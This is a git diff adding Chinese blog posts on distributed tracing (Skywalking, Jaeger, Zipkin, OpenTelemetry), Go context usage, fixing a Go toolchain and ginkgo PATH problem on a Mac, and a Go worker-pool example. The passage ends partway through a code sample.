系统可能会涉及更多的特性和细节,例如支持多种数据编码/解码方式、连接池、负载均衡、身份验证、超时和重试策略等。 + + + +> 其他链路追踪工具(Skywalking)? + + +Skywalking。Skywalking 是一个可观测性平台,用于收集、分析和聚合服务应用的追踪数据,性能指标和日志。它可以帮助开发和运维团队深入了解系统的性能,找出瓶颈或故障点。 + +Skywalking 支持多种语言,如 Java, .NET, PHP, Node.js, Golang 和 Lua,并且它可以无缝地集成到许多流行的服务和框架中。它的 UI 提供了一个直观的仪表板,用于展示系统的各种指标和追踪数据。 + +> 什么是分布式追踪?为什么它是重要的? + +> 解释Skywalking的主要功能和优点。 + +> ELK是什么?请描述其组成部分(Elasticsearch, Logstash, Kibana)的功能。 + + +> 怎样在一个微服务应用中集成 Skywalking? + +> 怎样将 Skywalking 的数据与 ELK 集成? + +> 当有一个性能问题时,怎么使用 Skywalking 和 ELK 来进行诊断? + + +> Skywalking 和其他追踪系统(如 Jaeger、Zipkin)有什么区别? + +> ELK 在大数据量下可能遇到哪些性能和存储问题?如何解决? + +> 如何确保追踪数据的完整性和准确性? + +> 当Skywalking的数据量非常大时,如何优化存储和查询? + +> 如何配置和优化Elasticsearch以满足高并发的日志查询需求? + +> 怎样使用Kibana创建有意义的可视化面板来显示追踪数据? + +> 如何确保在ELK中存储的数据安全? + +> 在集成Skywalking和ELK时,如何处理敏感数据? + +> 假设某个服务的响应时间突然增加,如何使用 Skywalking 和 ELK 来找出原因? + +> 如何设置告警,以便当某个服务出现问题时能够及时得知? + + +> 数据库中间件链路追踪 + +数据库中间件链路追踪是一种监视数据库查询和操作的技术,它可以记录查询的起始、执行时间、结束时间,以及查询在多个服务或组件之间的流转情况。通过链路追踪,可以准确地定位系统的瓶颈或故障点,优化数据库查询性能,提高系统的稳定性和可靠性。 + +客户端接入层:这是接收来自应用或客户端的查询请求的地方。此处可能进行请求的解析、身份验证等初步处理。 + +负载均衡:数据库中间件可能有一个负载均衡组件,它决定将请求路由到哪个数据库实例或节点。 + +SQL解析和改写:在这一步,中间件可能会对SQL查询进行解析,进行一些优化或改写,例如添加提示、改写某些不推荐的查询方式等。 + +查询缓存:中间件可能具有查询缓存功能,此时会检查此查询是否已被缓存,如果是,则直接返回缓存的结果。 + +连接池管理:中间件通常维护与后端数据库的连接池,此处会从池中选择或创建一个连接来执行该查询。 + +分片路由:如果数据库是分片的,中间件在此处会决定查询应该路由到哪个分片或数据库节点。 + +分布式事务管理:如果查询涉及多个数据库节点或分片,中间件可能需要进行分布式事务的协调和管理。 + +查询执行:此处是查询实际在数据库中执行的地方。 + +结果聚合:对于分片数据库,如果一个查询跨多个分片,则中间件需要聚合每个分片的结果。 + +结果缓存更新:如果中间件支持查询缓存,并且这是一个新查询或数据已更改,中间件可能会更新查询缓存。 + +响应返回:最后,中间件将执行结果返回给客户端或应用。 + +> TraceID 保证不重复: + +雪花算法 (Snowflake): 如前所述,结合时间戳、机器ID和序列号生成唯一ID。 +UUID: 利用算法和系统特点生成全局唯一标识符。 +数据库序列: 利用数据库自增序列。 + +> 实现多进程追踪: + +上下文传递: 在进程间通信时传递追踪上下文,如使用消息队列、gRPC、HTTP头部等方式。 +进程内存共享: 使用共享内存方式在进程间传递追踪信息。 +依赖外部存储: 如使用Redis或数据库来存储和传递追踪信息。 + +> 大文件 TopK: + +排序: 直接对所有数据进行排序,然后取前K个元素。 +分片: 将大文件分成多个小文件,对每个小文件排序并取前K个元素,然后对所有小文件的TopK进行一次合并排序取最终的TopK。 + +例如,如果K=100,并且我们有10个小文件,那么在对每个小文件取TopK后,我们会有10*100=1000个元素。最后,我们需要从这1000个元素中再次取最大的100个,即为整个大文件的TopK。 + +小根堆: +遍历大文件,为前K个数创建一个小根堆。 +继续遍历文件,对于每个数,如果它比堆顶的数大,就替换堆顶的数,并重新调整堆。 +遍历完成后,堆中的K个数就是最大的K个数。 + + +> Go 中的 Context 及其主要用途? + +考察 Golang 的 Context 主要是为了评估对并发编程中的超时、取消信号以及跨 API 的值传递的理解。 + +Context 的主要用途: + +超时和取消:可以设置某个操作的超时时间,或者在操作完成前手动取消它。 +请求范围的值传递:虽然不鼓励在 Context 中存储大量的数据,但它提供了一种跨 API 边界传递请求范围的值(例如请求 ID、用户认证令牌等)的方法。 +跟踪和监控:可以用来传递请求或任务的跟踪信息,如日志或度量。 + +> 创建新的 Context 的方法? + +context.Background():这是最基本的 Context,通常在程序的主函数、初始化函数或测试中使用。它不可以被取消、没有超时时间、也不携带任何值。 +context.TODO():当不确定要使用哪种 Context,或者在的函数结构中还未将 Context 传入,但又需要按照某个接口实现函数时,可以使用 TODO()。它在功能上与 Background 相同,但在代码中表达了这是一个需要进一步修改的临时占位符。 +context.WithCancel(parent Context):这会创建一个新的 Context,当调用返回的 cancel 函数或当父 Context 被取消时,该 Context 也会被取消。 +context.WithTimeout(parent Context, timeout time.Duration):这会创建一个新的 Context,它会在超过给定的超时时间后或当父 Context 被取消时被取消。 +context.WithDeadline(parent Context, deadline time.Time):这会创建一个新的 Context,它会在达到给定的截止时间后或当父 Context 被取消时被取消。 +context.WithValue(parent Context, key, val interface{}):这会创建一个从父 Context 派生出的新 Context,并关联一个键值对。这主要用于跨 API 边界传递请求范围的数据。 + + +> 在什么情况下会使用 context.WithTimeout 和 context.WithCancel?如何检查 Context 是否已被取消? + +当想为某个操作或任务设置一个明确的超时时,应该使用 context.WithTimeout。它在以下场景中非常有用: + +外部服务调用:当程序需要调用一个外部服务(如HTTP请求、数据库查询等),并且不希望这个调用无限期地等待,则可以设置一个超时。 + +资源控制:当想确保特定的资源(如工作线程或数据库连接)不会被长时间占用时。 + +用户体验:当的程序需要在一定时间内响应用户,而不想让用户等待过长的时间。 + + +> 使用 context.WithCancel 的情况 + +预期的长时间操作:例如,如果有一个后台任务可能会运行很长时间,但希望提供一个手动停止这个任务的方式。 + +合并多个信号:当想从多个源接收取消信号时。例如,可能有多个 context,任何一个取消都应该导致操作停止。 + +更细粒度的控制:当超时不适用,但想在某些条件下停止操作。 + +> 如何检查 Context 是否已被取消: + +可以使用 ctx.Done() 方法和 ctx.Err() 方法来检查 Context 是否已被取消。 + +ctx.Done() 返回一个channel,当 Context 被取消或超时时,这个channel会被关闭。可以使用一个select语句来监听这个channel: + +> 当 Context 被取消或超时时,它会如何影响与其相关的 goroutines? + +在Go中,Context 被设计为一种传递跨 API 边界和goroutines的可取消信号、超时、截止日期或其他上下文信息的方式。当Context被取消或超时时,它本身并不会直接停止或杀死与之相关的goroutines。相反,它提供了一种机制,使得goroutines可以感知到取消或超时事件,并据此采取相应的操作。 + +下面是Context取消或超时时与其相关的goroutines可能受到的影响: + +感知取消/超时:当Context被取消或超时时,ctx.Done()返回的channel会被关闭。任何正在监听此channel的goroutine都会收到这一事件。这为goroutines提供了一个机会来感知到取消或超时,并据此采取行动。 + +主动检查:goroutines可以定期或在关键操作前后,检查ctx.Err()来看是否发生了取消或超时。如果发现Context已经被取消或超时,它可以执行清理操作并尽早退出。 + +传播取消/超时:如果一个操作涉及多个goroutines或多个嵌套的调用,可以将相同的Context传递给所有相关的函数或方法。这样,当Context被取消或超时时,所有涉及的goroutines都可以感知并响应。 + +外部资源:如果goroutine正在等待外部资源,例如数据库连接或网络请求,当Context被取消或超时时,应确保这些资源能够被适当地释放或关闭。这通常通过使用支持Context的API来完成,这些API会在Context取消或超时时返回一个错误。 + +总之,当Context被取消或超时时,与之相关的goroutines需要通过Context提供的机制来感知这一事件,并采取适当的行动。但是,Context本身并不强制执行任何特定的行为,goroutines需要自己管理和响应取消或超时。 + +> context.WithValue 的用途和工作原理。 + +用途:context.WithValue函数允许在Context中关联一个键值对,这为跨API边界或goroutines传递请求范围内的数据提供了一种机制。这对于传递如请求ID、认证令牌等在请求生命周期中需要可用的数据特别有用。 + +工作原理:在内部,context.WithValue返回一个新的Context实例,这个实例在其内部持有原始Context(父Context)和指定的键值对。当从新的Context中请求值时,它首先检查自己是否持有该键,如果没有,则委托给它的父Context。这种方式可以形成一个链式结构,使得值可以在Context链中被查找。 + +> 如何看待在 Context 中传递值的实践?在什么情况下应该这样做,什么时候不应该? + +利弊:使用context.WithValue来传递值在某些情况下非常有用,但它也有一些限制和缺点。由于Context的设计原则是不可变的,并且不鼓励使用复杂的结构,因此当存储大量数据或复杂的结构时可能不是最佳选择。 + +何时使用: + +当需要跨API或函数边界传递请求范围内的值,例如:请求ID、认证令牌或租户信息。 +当数据需要在请求的整个生命周期中都可用时。 + +何时避免使用: +不应该使用context.WithValue来传递大型结构或状态。Context不是用来替代函数参数或为函数提供全局状态的。 +不应将其用作依赖注入工具或为函数提供配置。 +避免使用非context包中定义的类型作为键,以减少键之间的冲突。最佳实践是定义一个私有类型并使用它作为键,例如 type myKey struct{}。 +最后,对于context.WithValue,关键是明智地使用。确保它是在请求范围内传递少量关键数据时的合适工具,而不是用于通用的、全局的或大量的数据传递。 + + +> 如果有一个与数据库交互的长时间运行的查询,如何使用 Context 确保它在特定的超时时间内完成或被取消? + +使用Context来控制与数据库交互的长时间运行查询的超时或取消非常实用。以下是一些步骤来说明如何做到这一点: + +创建一个超时Context: +使用context.WithTimeout创建一个新的Context,该Context在指定的超时时间后自动取消。 + +```go +ctx, cancel := context.WithTimeout(context.Background(), time.Second*10) // 10秒超时 +defer cancel() // 确保资源被释放 +``` +传递Context给数据库查询: +大多数现代Go的数据库驱动都支持Context,它们允许传递一个Context作为查询的一部分。当Context被取消或超时时,查询也将被取消。 + +```go +rows, err := db.QueryContext(ctx, "YOUR_LONG_RUNNING_SQL_QUERY") +if err != nil { + log.Printf("Failed to execute query: %v", err) + return +} +``` +处理查询结果: +如果查询在超时时间内完成,可以像往常一样处理结果。但如果查询超时或被其他方式取消,QueryContext将返回一个错误,通常是context.DeadlineExceeded或context.Canceled。 + +监视Context的取消状态: +也可以使用一个goroutine监视Context的状态,当Context被取消时进行额外的清理工作或发出警告。 + +```go +go func() { + <-ctx.Done() + if ctx.Err() == context.DeadlineExceeded { + log.Printf("Query did not complete within timeout") + } +}() +``` +关闭所有相关资源: +一旦完成了数据库查询(无论是正常完成、超时还是取消),确保关闭任何打开的资源,如数据库连接、结果集等。 + +> 如果多个 goroutine 共享同一个 Context,当该 Context 被取消时,会发生什么? + +如果多个 goroutine 共享同一个 Context,并且该 Context 被取消,以下情况会发生: + +所有 goroutines 接收到取消信号:Context 跨多个 goroutine 是共享的。因此,如果取消了一个 Context,所有使用该 Context 的 goroutine 都能感知到这个取消事件。 + +ctx.Done() 通道关闭:当一个 Context 被取消或超时,Done方法返回的通道将被关闭。任何正在等待该通道的 goroutine 都将被唤醒。 + +ctx.Err() 返回具体的错误:当检查ctx.Err()时,它将返回一个表明原因的错误,如context.Canceled或context.DeadlineExceeded。 + +> 如何确保在使用 Context 时资源得到正确的清理(例如关闭数据库连接、释放文件句柄等)? + +使用 defer:当开始一个可能会被取消的操作(如打开一个数据库连接或文件)时,应立即使用defer来确保资源在操作结束时被清理。 + +```go +conn := db.Connect() +defer conn.Close() // 确保数据库连接在函数结束时关闭 + +file, _ := os.Open("path/to/file") +defer file.Close() // 确保文件在函数结束时关闭 +``` +监听 Context 的 Done 通道:可以在一个单独的 goroutine 中监听ctx.Done(),以确保在 Context 被取消时执行资源清理。 + +```go +go func() { + <-ctx.Done() + // 清理资源,如关闭连接、释放文件句柄等 +}() +``` +检查操作的返回:例如,当执行一个数据库查询或网络请求时 + + +编码测试: + +请编写一个简单的程序,其中有多个 goroutines 进行工作,但都受到一个共同 Context 的控制,当该 Context 被取消时,所有 goroutines 都应该尽快地干净地结束。 + +```go +package main + +import ( + "context" + "fmt" + "sync" + "time" +) + +func worker(ctx context.Context, wg *sync.WaitGroup, workerNum int) { + defer wg.Done() // 通知主 goroutine 该子 goroutine 完成 + + for { + select { + case <-ctx.Done(): + fmt.Printf("Worker %d: Stopping due to context cancellation\n", workerNum) + return + default: + fmt.Printf("Worker %d: Doing work...\n", workerNum) + time.Sleep(1 * time.Second) + } + } +} + +func main() { + ctx, cancel := context.WithCancel(context.Background()) + wg := &sync.WaitGroup{} + + // 启动三个 worker goroutines + for i := 1; i <= 3; i++ { + wg.Add(1) + go worker(ctx, wg, i) + } + + // 让它们工作一段时间 + time.Sleep(5 * time.Second) + + // 取消 context,这将使所有 goroutines 停止工作 + fmt.Println("Main: Cancelling context...") + cancel() + + // 等待所有 goroutines 完成 + wg.Wait() + fmt.Println("Main: All workers done!") +} + +``` + +> Jaeger 提供了多种存储后端选项来满足各种不同的使用场景和需求。 + +内存存储:这是 Jaeger 的一个简单后端,主要用于开发和测试环境。追踪数据被保存在内存中,因此当 Jaeger 服务重新启动时,这些数据会丢失。由于其易失性,它不适用于生产环境。 + +持久性存储: + +Cassandra:Jaeger 提供了一个可扩展的 Cassandra 存储后端,特别适合大规模部署。Cassandra 为高写入负载和水平扩展提供了原生支持。 +Elasticsearch:另一个流行的选项,允许用户将追踪数据和日志数据存储在同一个后端,同时利用 Elasticsearch 的搜索和分析能力。 +Kafka:Jaeger 还支持 Kafka 作为存储后端,特别是作为追踪数据的流处理中间层,然后数据可以从 Kafka 被消费到其他存储,例如 Elasticsearch。 +其他存储选项:Jaeger 还支持如 Badger、Google Cloud Bigtable 和 Amazon DynamoDB 等其他存储后端。 +考虑:在选择存储后端时,应该考虑您的使用场景、数据的存储和查询需求、数据的生命周期和保留策略,以及预期的写入和查询负载。 + +总的来说,Jaeger 提供了多种存储选项,可以根据实际需求选择适当的后端。在生产环境中,我们通常选择持久化存储,如 Cassandra 或 Elasticsearch,以确保数据 + + + +> 存入Elasticsearch的追踪数据和日志数据又是如何存储的呢? + +文档模型: +Elasticsearch 以文档的形式存储数据,并将这些文档组织到索引中。一个文档可以被视为一个 JSON 对象,包含了一系列的键值对。每个文档都有一个唯一的 ID 和一个类型。 + +追踪数据存储: +对于 Jaeger,每个追踪(trace)被分解为多个 spans。每个 span 被存储为 Elasticsearch 中的一个文档。这意味着每个 span 都有其自己的文档 ID。 +每个 span 文档包括多种字段,例如:span ID、trace ID、服务名、操作名、起始时间、持续时间、引用(例如父 span)、标签(键值对)以及日志。 + +Jaeger 为 span 和服务两种类型的数据分别使用了不同的索引模式,如 jaeger-span- 和 jaeger-service-。 + +日志数据存储: +在 Jaeger 的 span 中,日志是时间戳和键值对的数组。当 span 被存储到 Elasticsearch 中时,这些日志也被包括在 span 文档中。 +如果还使用 Elasticsearch 来存储其他非 Jaeger 的日志数据,通常会使用像 Filebeat 或 Logstash 这样的工具来导入,每个日志事件都会作为单独的文档存储在一个特定的索引中。 + +数据查询: +当从 Jaeger UI 查询追踪时,Jaeger 查询组件会执行针对 Elasticsearch 的查询,找到相关的 spans 并重建完整的追踪。 +Elasticsearch 的强大搜索功能使得复杂的追踪查询变得容易,如按服务名、操作名、时间范围或任何其他 span 标签进行过滤。 + +数据保留: +由于追踪数据可能会很快地积累,您需要考虑数据保留策略。Elasticsearch 支持 Index Lifecycle Management (ILM) 来自动管理、优化和最终删除基于年龄的索引。 + +> Elasticsearch 中的“索引”是什么? + +基本定义: + +在 Elasticsearch 中,一个“索引”是指向一组物理分片的逻辑命名空间,其中每个分片是数据的一个子集。当我们谈论索引数据时,我们是在这些分片上进行操作。 +分片(Shards): + +为了提高扩展性和性能,Elasticsearch 将数据分成了多个块,称为“分片”。有两种类型的分片:主分片和副本分片。主分片存储数据的原始副本,而副本分片存储数据的复制品。 +每个分片本质上就是一个小型的、自给自足的索引,拥有自己的索引结构。 + +倒排索引: +Elasticsearch 中的“索引”这个词的另一层含义关联到了“倒排索引”。在信息检索领域,倒排索引是文档检索的主要数据结构。它将“词”映射到在该词上出现的文档列表。 +当将文档添加到 Elasticsearch 中时,Elasticsearch 会为文档内容中的每个唯一词条构建一个倒排索引。 +这种结构使得基于文本内容的搜索非常高效,因为它允许系统查找包含给定词条的所有文档,而不必扫描每个文档来查找匹配项。 + +映射(Mapping): +映射是 Elasticsearch 中用于定义文档和它们所包含的字段如何存储和索引的规则。这有点像其他数据库中的“schema”,但更加灵活。 +映射可以定义字段的数据类型(如字符串、整数、日期等)、分词器、是否该字段可以被搜索等。 + +数据写入流程: +当文档被索引到 Elasticsearch 中,文档首先会被写入一个名为“translog”的事务日志。 +然后,文档会被存储在内存中的数据结构中(称为“buffer”)。经过一段时间或达到一定大小后,这个缓冲区会被刷新到一个新的分片段(segment)。 +这些段是不可变的,但是随着时间的推移,它们可能会被合并以提高效率。 + +数据读取流程: +当执行搜索查询时,Elasticsearch 会查询所有相关的分片。然后将这些分片的结果组合并返回。 + +如何传递追踪信息: +HTTP Headers:在基于HTTP的微服务架构中,追踪信息(如trace ID和span ID)通常作为HTTP headers传递。例如,使用B3 Propagation headers(由Zipkin定义)。 + +消息队列:在基于消息的系统中,追踪信息可以作为消息的元数据或属性传递。 + +gRPC Metadata:对于使用gRPC的系统,追踪信息可以通过gRPC的metadata传递。 + +Context Propagation:在同一进程内的不同组件之间,可以使用编程语言提供的上下文(如Go的context.Context)来传递追踪信息。 + +谁来生成ID: +边缘服务:第一个接收到请求的服务(通常是API网关或边缘服务)负责生成trace ID。这确保了整个请求链中的所有spans都共享相同的trace ID。 + +每个服务:每个服务在开始处理请求时都会生成一个新的span ID。这标识了该服务处理的操作或任务。 + +什么算法: +随机生成:使用强随机数生成器生成随机ID。例如,使用UUID(通常是UUID v4)。 + +雪花算法(Snowflake):这是Twitter开发的一个算法,用于生成唯一的ID。它结合了时间戳、机器ID和序列号来确保在分布式系统中生成的ID是唯一的。 + +增量或原子计数器:对于单一服务,可以简单地使用一个原子计数器来生成span IDs。但是,这种方法在分布式系统中可能不是很实用,除非它与其他信息(如机器ID)结合使用。 + + +> 请简单介绍一下 Zipkin 是什么以及它的主要用途。 +Zipkin 是一个开源的分布式追踪系统,用于收集、存储和可视化微服务架构中的请求数据。它可以帮助开发者和运维人员理解系统中各个服务的调用关系、延迟和性能瓶颈。Zipkin 最初是由 Twitter 开发的,并受到了 Google 的 Dapper 论文的启发。 + +主要用途: + +性能优化:通过分析请求在各个服务间的传播,找出性能瓶颈。 +故障排查:当系统出现问题时,可以快速定位到具体的服务或请求。 +系统可视化:提供了一个界面,用于可视化服务间的调用关系和延迟。 + + +> Zipkin 是如何工作的?能否描述其基本架构和组件? + +Zipkin 主要由以下几个组件构成: +Instrumentation(监测):在微服务的代码中嵌入 Zipkin 客户端库,用于收集请求数据。 +Collector(收集器):负责从各个服务收集追踪数据。 +Storage(存储):存储收集到的追踪数据。Zipkin 支持多种存储后端,如 In-Memory、Cassandra、Elasticsearch 等。 +API Server(API 服务器):提供 API,用于查询存储在后端的追踪数据。 +Web UI(Web 用户界面):一个 Web 应用,用于可视化追踪数据。 + + +工作流程: +当一个请求进入系统时,Instrumentation 会生成一个唯一的 Trace ID,并在微服务间传播这个 ID。 +每个服务都会记录与该请求相关的 Span 数据,包括开始时间、结束时间、注解等。 +这些 Span 数据会被发送到 Collector。 +Collector 将这些数据存储在 Storage 中。 +用户可以通过 Web UI 或 API 查询这些数据。 + +> Zipkin 和其他分布式追踪系统(如 Jaeger、OpenTelemetry 等)有什么区别或优势? + +成熟度:Zipkin 是较早出现的分布式追踪系统,社区活跃,文档完善。 +简单易用:Zipkin 的安装和配置相对简单,适合小型到中型的项目。 +灵活的存储选项:Zipkin 支持多种存储后端。 +与 Spring Cloud 集成:对于使用 Spring Cloud 的项目,Zipkin 提供了很好的集成支持。 + +Zipkin 本身就是一个完整的分布式追踪系统,包括数据收集、存储和可视化等功能。可以在微服务的代码中嵌入 Zipkin 的客户端库(或者使用与 Zipkin 兼容的库)来收集追踪数据。这些数据然后会被发送到 Zipkin 的收集器,并存储在 Zipkin 支持的存储后端(如 In-Memory、Cassandra、Elasticsearch 等)。最后,可以通过 Zipkin 的 Web UI 或 API 来查询和可视化这些数据。 + +OpenTelemetry +在 OpenTelemetry 中,Trace ID 通常是在分布式系统的入口点(例如,一个前端服务接收到的 HTTP 请求)生成的。一旦生成了 Trace ID,它就会在整个请求的生命周期内传播,包括跨服务和跨进程的调用。这通常是通过在服务间通信的请求头中添加特殊字段来实现的。 + + +> 分布式环境下是如何确保Trace ID 的不同? + +OpenTelemetry 的 Trace ID 通常是一个 128 位或 64 位的随机数,这几乎可以确保在不同的机器和不同的请求之间都是唯一的。 + +Zipkin +Zipkin 的工作方式与 OpenTelemetry 类似。它也在请求进入系统时生成一个 Trace ID,并在整个请求链路中进行传播。Zipkin 的 Trace ID 通常是一个 64 位或 128 位的随机数。 + +确保唯一性 +随机性: 由于 Trace ID 是使用高度随机的算法生成的,因此即使在分布式环境中,两台不同的机器生成的 Trace ID 也极不可能相同。 + +时间戳和机器标识: 一些系统可能会在 Trace ID 中嵌入时间戳和机器标识信息,以进一步降低冲突的可能性。 + +全局状态: 在更复杂的设置中,可以使用全局状态或者分布式锁来确保唯一性,但这通常是不必要的,因为随机生成的 ID 已经足够唯一。 + +高位数: 使用 128 位或 64 位的长数字也增加了唯一性。 + +因此,即使在高度分布式的环境中,Trace ID 的冲突概率也非常低。 diff --git a/_posts/2023-10-2-test-markdown.md b/_posts/2023-10-2-test-markdown.md new file mode 100644 index 000000000000..1cfb06236a65 --- /dev/null +++ b/_posts/2023-10-2-test-markdown.md @@ -0,0 +1,128 @@ +--- +layout: post +title: 分布式追踪 +subtitle: +tags: [OpenTelemetry] +--- + + + +#### 什么是分布式追踪?以及它在微服务架构中的应用? + +分布式追踪是一种监控方法,用于跟踪请求在复杂的分布式系统中的流动过程。在微服务架构中,分布式追踪可以帮助我们理解各个服务如何协同工作,找出性能瓶颈,以及调试错误。 + +#### 在分布式追踪中,什么是 Span?Span 上通常会记录哪些信息? + +在分布式追踪中,Span是代表单一的工作单元,例如一个RPC调用或一个数据库查询。Span通常会记录开始和结束时间,以及其他的上下文信息,例如错误信息,标签,和日志。 + +#### 如何在服务间传递追踪的上下文? + +在服务间传递追踪的上下文通常使用特定的HTTP头,例如"X-B3-TraceId"和"X-B3-SpanId"。当一个服务调用另一个服务时,它会将当前的追踪ID和Span ID放在HTTP头中发送。 + +#### 在实际的系统中,如何处理大量的追踪数据?有哪些方法可以减少追踪数据的存储和处理压力? + +在实际系统中,可以通过采样来处理大量的追踪数据。例如,只记录每100个请求中的一个。还可以通过设置数据保留策略,例如只保存最近一天的数据,来减少存储压力。 + +#### 请列举一些常见的分布式追踪工具或框架,并比较他们的优缺点? + +常见的分布式追踪工具或框架有Zipkin,Jaeger,以及OpenTelemetry等。Zipkin和Jaeger都是成熟的追踪系统,支持各种语言和协议,但是需要自行部署和管理。OpenTelemetry是一个更广泛的观测性项目,不仅包括追踪,还包括度量和日志。 + +#### 如何使用分布式追踪进行性能分析和故障排查? + +分布式追踪可以用于性能分析,通过查看请求在各个服务中的耗时,可以找出性能瓶颈。对于故障排查,可以通过查看错误的Span,以及其上下文信息,来定位问题的源头。 + +#### 在实际的项目中,如何判断是否需要引入分布式追踪?引入后应该如何评价其效果? + +在实际项目中,如果服务的调用链比较复杂,或者有性能问题和难以调试的错误,那么可能需要引入分布式追踪。引入后,可以通过减少故障排查的时间,以及提升系统性能,来评价其效果。 + +#### 对于异步或并行的操作,如何进行追踪? + +对于异步或并行的操作,每个操作都应该有自己的Span,它们都属于同一个父Span,但是开始和结束的时间可能会重叠。 + +#### 请解释一下什么是 Trace ID 和 Span ID,他们在分布式追踪中有什么作用? + +Trace ID 是一个在整个请求链路中唯一的标识符,所有的Span都有相同的Trace ID。Span ID 是每个Span的唯一标识符。Trace ID 和 Span ID 一起用于在服务间传递追踪的上下文。 + +#### 分布式追踪和日志记录有什么相同和不同之处?在实际的项目中,他们如何配合使用? +分布式追踪和日志记录都可以用于监控和调试系统,但是他们关注的方面不同。日志记录通常关注单个服务的内部状态,而分布式追踪关注的是请求在各个服务间的流动。在实际的项目中,他们可以配合使用,例如在Span中包含日志信息,或者在日志中包含Trace ID。 + + +```go +package jaeger + +import ( + "context" +) + +import ( + "go.opentelemetry.io/otel" + "go.opentelemetry.io/otel/exporters/jaeger" + "go.opentelemetry.io/otel/propagation" + "go.opentelemetry.io/otel/sdk/resource" + tracesdk "go.opentelemetry.io/otel/sdk/trace" + semconv "go.opentelemetry.io/otel/semconv/v1.4.0" +) + +import ( + "github.com/arana-db/arana/pkg/config" + "github.com/arana-db/arana/pkg/proto" + "github.com/arana-db/arana/pkg/proto/hint" + "github.com/arana-db/arana/pkg/trace" +) + +const ( + parentKey = "traceparent" +) + +type Jaeger struct{} + +func init() { + trace.RegisterProviders(trace.Jaeger, &Jaeger{}) +} + +func (j *Jaeger) Initialize(_ context.Context, traceCfg *config.Trace) error { + tp, err := j.tracerProvider(traceCfg) + if err != nil { + return err + } + // Register our TracerProvider as the global so any imported + // instrumentation in the future will default to using it. + otel.SetTracerProvider(tp) + otel.SetTextMapPropagator(&propagation.TraceContext{}) + return nil +} + +func (j *Jaeger) tracerProvider(traceCfg *config.Trace) (*tracesdk.TracerProvider, error) { + // Create the Jaeger exporter + exp, err := jaeger.New(jaeger.WithCollectorEndpoint(jaeger.WithEndpoint(traceCfg.Address))) + if err != nil { + return nil, err + } + tp := tracesdk.NewTracerProvider( + // Always be sure to batch in production. + tracesdk.WithBatcher(exp), + // Record information about this application in a Resource. + tracesdk.WithResource(resource.NewWithAttributes( + semconv.SchemaURL, + semconv.ServiceNameKey.String(trace.Service), + )), + ) + return tp, nil +} + +func (j *Jaeger) Extract(ctx *proto.Context, hints []*hint.Hint) bool { + var traceContext string + for _, h := range hints { + if h.Type != hint.TypeTrace { + continue + } + traceContext = h.Inputs[0].V + break + } + if len(traceContext) == 0 { + return false + } + ctx.Context = otel.GetTextMapPropagator().Extract(ctx.Context, propagation.MapCarrier{parentKey: traceContext}) + return true +} +``` \ No newline at end of file diff --git a/_posts/2023-10-22-test-markdown.md b/_posts/2023-10-22-test-markdown.md new file mode 100644 index 000000000000..33a3b4845483 --- /dev/null +++ b/_posts/2023-10-22-test-markdown.md @@ -0,0 +1,83 @@ +--- +layout: post +title: Compile version "" does not match go tool version "" | command not found ginkgo +subtitle: +tags: [bug] +comments: true +--- + +对于 M1 Mac,以下步骤 + + +在 VSCode 终端检查 + +```shell +user@mac % which go +/usr/local/go/bin/go +``` + +在 Mac终端检查 +```shell +user@mac % which go +/opt/homebrew/bin/go +``` + +go env 显示的 GOROOT +```shell +user@mac % go env GOROOT +/usr/local/go +``` + + +然后删除 +```shell +rm -rf /opt/homebrew/bin/go +``` + +验证: +```shell +user@mac hello % which go +/usr/local/go/bin/go +``` + +```shell +user@mac% ginkgo --v --progress --trace --flake-attempts=1 ./tests/e2e/ +zsh: command not found: ginkgo +``` + +这个问题通常出现在安装了ginkgo但系统找不到该命令的情况下。通常,这是因为Go的bin目录没有被添加到PATH环境变量中。 + +检查Go的bin目录在哪里: 默认情况下,这通常是$GOPATH/bin或$HOME/go/bin。你可以通过运行go env GOPATH来检查。 + +```shell +go env GOPATH +``` +添加Go的bin目录到PATH: 修改.zshrc或者.bashrc(取决于你用的是zsh还是bash),然后添加以下内容: + +```bash +export PATH=$PATH:$(go env GOPATH)/bin +``` +保存并退出。 + +更新你的Shell: 在终端中运行以下命令以应用更改: + +```shell +vim ~/.zshrc +source ~/.zshrc # 如果你用的是zsh +``` + +或者 +```shell +source ~/.bashrc # 如果你用的是bash +``` +测试Ginkgo: 再次尝试运行ginkgo命令,看看问题是否已解决。 + +完整报错如下: + +```shell +zsh: command not found: ginkgo +MacBook-Air gaea % vim ~/.zshrc +MacBook-Air gaea % source ~/.zshrc +MacBook-Air gaea % ginkgo --v --progress --trace --flake-attempts=1 ./tests/e2e/ +``` + diff --git a/_posts/2023-10-23-test-markdown.md b/_posts/2023-10-23-test-markdown.md new file mode 100644 index 000000000000..77928bbbf779 --- /dev/null +++ b/_posts/2023-10-23-test-markdown.md @@ -0,0 +1,223 @@ +--- +layout: post +title: 任务分发与任务消费 +subtitle: +tags: [go] +comments: true +--- + +简单的例子: +```go +package main + +import ( + "fmt" + "sync" +) + +func main() { + // 用于模拟从ETCD获取到的命名空间列表 + names := []string{"ns1", "ns2", "ns3"} + + // 用于分发命名空间名称 + nameC := make(chan string) + + // 用于接收处理后的命名空间 + namespaceC := make(chan string) + + var wg sync.WaitGroup + + // 创建10个工作Goroutine + for i := 0; i < 10; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for name := range nameC { + // 模拟从ETCD加载命名空间的过程 + namespace := "loaded-" + name + namespaceC <- namespace + } + }() + } + + // 另一个Goroutine负责分发所有命名空间名称到nameC通道,并等待所有工作Goroutine完成 + go func() { + for _, name := range names { + nameC <- name + } + close(nameC) + wg.Wait() + close(namespaceC) + }() + + // 收集从namespaceC通道接收到的所有命名空间模型,并存储在namespaceModels映射中 + namespaceModels := make(map[string]string) + for namespace := range namespaceC { + namespaceModels[namespace] = "some value" + } + + // 输出结果 + fmt.Println("Collected namespaces:", namespaceModels) +} + +``` + + +```go +package main + +import ( + "fmt" + "sync" +) + +func main() { + // 用于模拟从ETCD获取到的命名空间列表 + names := []string{"ns1", "ns2", "ns3"} + + // 用于分发命名空间名称 + nameC := make(chan string) + + // 用于接收处理后的命名空间 + namespaceC := make(chan string) + + var wg sync.WaitGroup + + // 创建10个工作Goroutine + for i := 0; i < 10; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for name := range nameC { + // 模拟从ETCD加载命名空间的过程 + namespace := "loaded-" + name + namespaceC <- namespace + } + }() + } + + // 另一个Goroutine负责分发所有命名空间名称到nameC通道,并等待所有工作Goroutine完成 + go func() { + for _, name := range names { + nameC <- name + } + close(nameC) + }() + go func() { + wg.Wait() + close(namespaceC) + }() + + // 收集从namespaceC通道接收到的所有命名空间模型,并存储在namespaceModels映射中 + namespaceModels := 